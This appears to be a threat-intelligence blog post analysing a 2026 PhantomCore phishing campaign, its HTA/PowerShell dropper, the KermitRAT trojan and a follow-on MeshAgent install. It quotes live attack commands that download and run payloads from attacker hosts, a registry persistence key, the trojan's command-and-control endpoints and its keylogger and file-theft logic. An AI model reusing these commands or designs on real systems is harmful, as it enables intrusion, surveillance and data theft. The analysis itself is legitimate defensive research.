
Киберпреступная группа PhantomCore – одна из главных угроз для российских и белорусских компаний. Впервые специалисты F6 обнаружили её в 2024 году, а позднее выяснили, что самые ранние атаки группировка провела в 2022 году. Одна из главных особенностей эволюции PhantomCore – её постоянная изменчивость: эта АРТ-группа быстро приспосабливается к новым условиям, оперативно меняет инструменты и изобретает нестандартные способы доставки ВПО до атакуемых организаций.
В 2022 году главной целью злоумышленников были кража, повреждение и уничтожение данных. В 2024 году они переключились на шифрование инфраструктур атакованных компаний и получение финансовой выгоды.
Отличительная черта PhantomCore – использование вредоносного программного обеспечения (ВПО) собственной разработки. Причём, судя по количеству таких самописных программ, а также по количеству атак на российские и белорусские компании, команда разработчиков этой киберпреступной группы постоянно ищет новые решения, совершенствует свои инструменты и внимательно следит за новыми уязвимостями.
Одна из таких собственных разработок PhantomCore – троян удаленного доступа KermitRAT, получивший название по причине использования аналогичных подстрок в именах файлов, используемых программой. Это новое ВПО от PhantomCore, которое впервые выявили специалисты F6 в начале апреля 2026 года. Функциональные возможности KermitRAT:
-
использование различных способов выполнения команд на зараженной системе (скрытый; выполнение PowerShell/cmd; с записью результата в файл и последующей его выгрузкой);
-
создание и эксфильтрация снимков экрана;
-
хищение файлов по полученному от сервера шаблону;
-
определение и перехват нажатия клавиш жертвой с дальнейшей их записью и эксфильтрации на сервер;
-
сбор подробной информации о зараженной системе, включая сетевую инфраструктуру, сведения о логических дисках, количество пользователей, информацию о процессах и сервисах, наличие антивирусного ПО, установленном ПО и так далее.
В этом блоге на примере новой атаки PhantomCore на российскую компанию покажем, как группировка продолжает развивать свои инструменты и тактики, внедрять новое программное обеспечение и расширять спектр используемых технологий, включая AI-решения, для повышения эффективности атак.
Призрак идёт в наступление
8 апреля 2026 года мы столкнулись с очередной атакой группировки: система F6 Managed XDR перехватила и заблокировала фишинговую рассылку, направленную в адрес российской промышленной компании.
Фишинговые письма с темой «О рабочем визите делегации КНДР в апреле 2026» были направлены с электронного почтового ящика «el.medvedkova@ministerstvo-inostrannykh-del[.]ru» (домен зарегистрирован 30 марта 2026 года) на различные адреса целевой компании.
Письма содержали в себе следующие вложенные файлы:
-
01-20363.pdf – PDF-приманка;
-
KNDR (1).zip – ZIP-архив, содержащий вредоносные файлы. (Анализ ВПО опубликован на F6 Malware Detonation Platform)
Файл KNDR (1).zip содержит в себе следующие файлы:
-
KNDR.hta — вредоносный HTA-файл с атрибутами скрытого файла;
-
KNDR.lnk – ярлык, основным назначением которого является запуска файла KNDR.hta.
Техническое исследование
Функциональные возможности HTA-файла
Файл KNDR.hta содержит в своей разметке тег script, внутри которого расположен VBS-сценарий, выполняемый после запуска файла.
В результате исполнения данного сценария на устройство жертвы будут загружены дополнительные PowerShell-сценарии, которые будут закреплены с помощью ключа реестра, после чего будет выполнен их запуск.
Последовательность исполнения VBS-сценария:
1. Минимизирует отображаемое окно для сокрытия исполнения.
2. Выполняет загрузку и запуск отвлекающего PDF-документа с помощью powershell-команды:
powershell -w h -c "(New-Object Net.WebClient).DownloadFile('hxxps://realty-visual[.]ru/jk_strana_ozernaya/KNDR_2026.pdf','KNDR.pdf');start 'KNDR.pdf'"
PDF-документ загружается с удаленного сервера по ссылке hxxps://realty-visual[.]ru/jk_strana_ozernaya/KNDR_2026.pdf и сохраняется в файл с именем KNDR.pdf в текущей директории.
3. Создает Powershell-сценарий по файловому пути C:\temp\2copipast_spisok.ps1 и записывает в него команду:
$Target='C:\temp\4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1';$Url='https://realty-visual.ru/jk_strana_ozernaya/4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.txt';try{iwr $Url -OutFile $Target}catch{}
4. Создает Powershell-сценарий по файловому пути C:\temp\3task_spisok.ps1 и записывает в него команду:
$Target='C:\temp\5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1';$Url='https://realty-visual.ru/jk_strana_ozernaya/5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.txt';try{iwr $Url -OutFile $Target}catch{}
5. Создает Batch-сценарий по файловому пути C:\temp\1spisok_sotrudnikov.bat и записывает в него комaнды:
@echo offpowershell -w h -nop -ep bypass -f "C:\temp\2copipast_spisok.ps1"powershell -w h -nop -ep bypass -f "C:\temp\3task_spisok.ps1"
6. Создает Batch-сценарий по файловому пути C:\temp\6polnii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.bat и записывает в него комaнды:
@echo offpowershell -w h -nop -ep bypass -f "C:\temp\4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1"powershell -w h -nop -ep bypass -f "C:\temp\5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1"
7. C целью закрепления в системе создает запись реестра по пути HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateRoutine со значением cmd /c «C:\temp\6polnii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.bat».
8. Запускает файл C:\temp\1spisok_sotrudnikov.bat.
9. Циклически проверяет наличие файлов 4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1 и 5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1, в случае их отсутствия выполняет Sleep.
10. Запускает файл C:\temp\6polnii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.bat.
11. Удаляет начальный LNK-файл путем выполнения команды: cmd /c timeout /t 3 /nobreak && del /f /q /a «{lnk_filepath}».
Функциональные возможности файла 5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1
Данный PowerShell-сценарий выполняет проверку наличия ключа реестра WindowsUpdateRoutine в ветке HKCU:\Software\Microsoft\Windows\CurrentVersion\Run. В случае если ключ не существует, добавляет его с значением cmd.exe /c «C:\temp\6polnii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.bat».
Функциональные возможности файла 4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1
Данный PowerShell-сценарий – вредоносное ПО, классифицированное как троян удаленного доступа и получившее название KermitRAT.
После запуска выполняет инициализацию необходимых файлов и директорий:
-
проверяет наличие директории C:\temp\, в случае отсутствия, создает ее;
-
проверяет наличие файла C:\temp\kermit_cache.json, в случае отсутствия создает его со значением «{}»;
-
проверяет наличие файла C:\temp\.kermit_id, в случае отсутствия создает его и записывает в него строку шаблона {computername}-[0-9]{4} (далее сгенерированная строка именуется как {victim_id}).
Далее в бесконечном цикле выполняет следующие действия:
1. Собирает JSON-файл, который содержит информацию о локальных дисках системы, флаг включенного модуля кейлоггера и флаг, указывающий, будет ли отправлен HTML-файл с информацией о системе. Шаблон:
{ "update_audit": false, "kl_enabled": true, "drives": "{drives_info}"}
{drives_info} — содержит строку с информацией о диске вида {drive_id}: {used_space}/{full_space}GB и разделителем » | » между записями о разных дисках.
2. Выполняет отправку данного JSON-объекта путем выполнения POST-запроса к URL-ссылке hxxp://94.183.183[.]69:3000/ping/{victim_id}. В качестве ответа на данный запрос ВПО ожидает JSON-объекта с полем poll_interval, значение которого определяет простой между циклами. Пример JSON-объектов, которые мы получали от сервера в ходе анализа:
{ "ok":true, "poll_interval":20}
Обработка команд
Далее выполняется GET-запрос к URL-ссылке hxxp://94.183.183[.]69:3000/tasks/{victim_id} для получения команд от сервера. В качестве ответа от сервера ожидается список команд, которые должны быть получены в виде JSON-объектов шаблона:
{ "id": "{task_id}", "command": "{command}"}
По результату обработки команд выполняется POST-запрос к URL-ссылке hxxp://94.183.183[.]69:3000/tasks/{task_id} с передачей JSON-объекта, содержащего статус выполнения команды и ее результат по следующему шаблону:
{ "status": "completed", "result": "{command_result}"}
Описание команд
Определение команды выполняется ВПО через парсинг регулярного выражения. Ниже представлены описанияе команд, где вместо наименования команды будут указываться исходные регулярные выражения, в которых выполняется определение команды.
«^screen$» — создает скриншот экрана и сохраняет его в файл C:\temp\s.png, после чего выполняет многокомпонентный POST-запрос к URL-ссылке hxxp://94.183.183[.]69:3000/proxy/photo с передачей формы с содержанием изображения и указанием имени файла по шаблону {computername}_s.png. После передачи, изображение будет удалено с зараженного устройства.
«^full_info$» — собирает подробную информацию о системе в html-файл по файловому пути C:\temp\Audit.html. Данный файл содержит следующую информацию:
-
название ОС;
-
дата и время последней загрузки ОС в формате «{days}d {hours}h {minutes}m»;
-
внутренние и внешний IP-адреса;
-
имя пользователя и флаг, является ли текущий пользователь администратором ОС;
-
информация о логических дисках системы с информацией об имени и типе диска, его размере и используемой памяти, именами первых 20 файлов/директорий внутри диска с указанием размера файлов;
-
информация о текущих первых 20 сетевых соединениях, с указанием IP-адресов и портов, а также имен процессов, к которым относится соединение;
-
информация о наличии антивирусного ПО с перечислением списка их наименований;
-
статус включения битлокера для диска «C:»;
-
информация о пользователях ОС с информацией об имени, статусе активности, описании и последней авторизации;
-
информация о пользователях из группы администраторов ОС с указанием их имени;
-
информация о первых 15 процессах с сортировкой их по потреблению CPU, с перечислением имени процесса, идентификатора, потребляемом CPU и занимаемом пространстве ОЗУ;
-
информация о запущенных первых 30 сервисах с указанием имени и типе запуска;
-
информация об установленном ПО с указанием отображаемого имени, версии и издателе ПО. Список будет получен путем перечисления ключей из веток реестра:
-
HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall;
-
HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall;
-
HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall;
-
Также в контексте выполнения данной команды, будет получен список команд, которые установлены в автозапуск системы, и последние 15 записей в логе событий системы с ошибками, но эти данные не обрабатываются далее и не будут отправлены на сервер.
После того как данные собраны, ВПО выполняет их отправку на сервер путем выполнения многокомпонентного POST-запроса к URL-ссылке hxxp://94.183.183[.]69:3000/proxy/photo с указанием формы, в которой имя файла будет указано по шаблону Audit_{computername}.html. После того как файл был отправлен, удаляет его из системы, а также выполняет POST-запрос к URL-ссылке hxxp://94.183.183[.]69:3000/ping/{victim_id} с указанием в теле файла JSON-объекта:
{ "update_audit": True}
«^run_backup$» — данная команда используется для эксфильтрации файлов по заданным параметрам.
Выполняет GET-запрос к URL-ссылке hxxp://94.183.183[.]69:3000/config/{victim_id}. От сервера ожидается конфигурация для выполнения эксфильтрации файлов в формате JSON:
{ "active": "", "paths": "", "extensions": "", "max_size_mb": "", "ftp": { "host": "", "user": "", "pass": "" } }
Далее ВПО проверяет значение флага active и, если он установлен в значении True, продолжает работу.
ВПО проверяет наличие файла C:\temp\kermit_cache.json и, если файл существует, читает данные из него. Далее выполняет обход директорий из полученного списка путей в конфигурации (параметр «paths») и получает файлы с расширениями, которые указаны в параметре «extensions». Если хеш-сумма MD5 данного файла отличается от той, которая указана в локальном файле C:\temp\kermit_cache.json, и если размер данного файла не превышает указанный в параметре «max_size_mb», то добавляет его в список на выгрузку на сервер.
После того как файлы собраны, выполняется их последовательная выгрузка на сервер, адрес и данные аутентификации для которого указаны в объекте «ftp». Файлы отправляются поочередно частями с общим размером, не превышающим значение из параметра «max_size_mb». Каждый архив, отправляемый на сервер, будет записан в директорию C:\temp\Kermit_Vault с именем {victim_id}_part{counter}.zip.
Для отправки на сервер используется ссылка шаблона ftp://{ftp_host}/{victim_id}_part{counter}.zip. После отправки, обновляется файл, содержащий локальную информацию о файлах (C:\temp\kermit_cache.json), и выполняется его отправка на сервер путем POST-запроса через утилиту curl к URL-ссылке hxxp://94.183.183[.]69:3000/upload_cache/{victim_id}.
Выполняемая команда:
curl.exe -s --max-time 30 -X POST "$ServerUrl/upload_cache/$pcHash" -F "file=@$absPath"
После проведения указанных действий ВПО удаляет директорию C:\temp\Kermit_Vault.
«^get_cache$» — выполняет отправку файла C:\temp\kermit_cache.json аналогично тому, как эта логика выполняется в команде run_backup.
«^clear_cache$» — удаляет файл C:\temp\kermit_cache.json.
«^start_kl$» — включает модуль кейлоггера.
«^stop_kl$» — выключает модуль кейлоггера.
«exec_cmd:(.*)» — запускает команду cmd.exe /c {command} 2>&1 | Out-String, где {command} — полученная от сервера cmd-команда.
«exec_ps:(.*)» — запускает PowerShell-команду Invoke-Expression {command} 2>&1 | Out-String, где {command} — полученная от сервера PowerShell-команда.
«exec_hidden:(.*)» — запускает cmd-команду в скрытом режиме;
«exec_out:(.*)» — выполняет cmd-команду с записью результата ее выполнения в файл, расположенный по пути C:\temp\kermit_execution.txt. Формат записи в файл:
--- Execution Log ---Time: {time}PC: {computername}Command: {command}-------------------------{command_result}
После чего отправляет файл на сервер путем выполнения многокомпонентного POST-запроса к URL-ссылке hxxp://94.183.183[.]69:3000/proxy/photo с именем Result_{computername}.txt. После отправки удаляет локальный файл.
Модуль кейлогера
Если в ВПО включен модуль кейлоггера, его запуск происходит после выполнения команд в каждом цикле.
В данном модуле перед выполнением считывания нажатий на клавиши выполняется проверка наличия файла C:\temp\key_log.txt, последней даты загрузки данного файла на сервер и размер этого файла. Если размер файла больше 100KB или время последней загрузки файлов превышает 60 минут, выполняется выгрузка файла на сервер через запрос к URL-ссылке hxxp://94.183.183[.]69:3000/proxy/photo с именем файла Keys_{computername}.txt.
Для отслеживания нажатий клавиш модулем используется загруженная функция GetAsyncKeyState, которая определяет состояние ключа. Проверка осуществляется в цикле, который выполняется в количестве {poll_interval} * 25 раз.
В контексте чего изначально отслеживается нажатие клавиш Ctrl + C (выполнение операции копирования). В случае успешного отслеживания выполняется сбор информации из буфера обмена и запись в файл в формате [HH:mm] CLIP: {clipboard}. Далее отслеживаются клавиши со значениями от 8 до 190 (https://learn.microsoft.com/ru—ru/windows/win32/inputdev/virtual—key—codes), которые записываются в одну переменную — а та, в свою очередь, будет записана в файл только после нажатия клавиши Enter. В случае успешного отслеживания определяется клавиша и проверяется ее значение:
-
В случае клавиши Space в общую строку будет добавлен символ » «.
-
В случае клавиши Back из общей строки будет убран последний добавленный символ.
-
Если символ в диапазоне между ключами под номером 48-57 (0 — 9), данный символ будет добавлен с удалением символа «D».
-
В случае клавиши Enter ранее собранная общая строка символов будет добавлена в файл логирования с шаблоном [HH:mm] {sentence}.
-
В случае если написанный символ не подходит условиям выше, он добавлен к общей строке с приведением к нижнему регистру.
Примечания
Стоит отметить, что в ходе работы сценария также отслеживаются ошибки, произошедшие в процессе исполнения, и записываются в файл C:\temp\script_debug.log, однако данный файл не выгружается на сервер и хранится только локально.
Также в файле были обнаружены комментарии, у которых были неправильно приведены кодировки. Данные комментарии в коде были написаны на украинском языке (Код файлу).
Полученные команды
В ходе нашего исследования были получены следующие команды:
-
screen
-
get_cache
-
exec_out:dir «C:\temp\»
-
exec_out:dir «C:\system\»
-
exec_out:powershell -Command «New-Item -Path ‘C:\temp’ -ItemType Directory -Force; curl.exe -k ‘hxxps://46.37.123[.]16/meshagents?id=4&meshid=uJia5ckVj3pSb0ry58vVE2uT6astBjasHAFCsDfTKIVaWFtfgtIGT@vmEE267V5G&installflags=0’ -o C:\temp\meshagent64-Voenmeh.exe»
-
exec_out:»C:\temp\meshagent64-Voenmeh.exe» connect
MeshAgent
Указанный в данных командах файл с именем meshagent64-Voenmeh.exe, классифицирован как MeshAgent со следующей конфигурацией:
MeshName=VoenmehMeshType=2MeshID=0xB8989AE5C9158F7A526F4AF2E7CBD5136B93E9AB2D0636AC1C0142B037D328855A585B5F82D2064FEBE6104DBAED5E46 ServerID=73F5F6673884255E8F57DA13FEE0365E02B8B8E2D29A36F21C896AA32B6271AD77D94F1691F564F22B76010CEC1DAA5E MeshServer=wss://46.37.123[.]16:443/agent.ashx
MeshAgent – агент удалённого мониторинга и управления (RMM) из проекта MeshCentral. После установки на компьютер он устанавливает соединение с сервером MeshCentral и предоставляет полный доступ к устройству: удалённый рабочий стол, управление файлами, выполнение команд, мониторинг состояния и установка ПО.
В ходе исследования найдены варианты загрузки данного файла в директории system и temp, также в одной из команд создавалась директория Doc, однако, несмотря на это, загрузка выполнялась в директории temp.
Подробности исследования сетевой инфраструктуры атакующих и атрибуции, индикаторы компрометации — в новом блоге на сайте F6.
ссылка на оригинал статьи https://habr.com/ru/articles/1024486/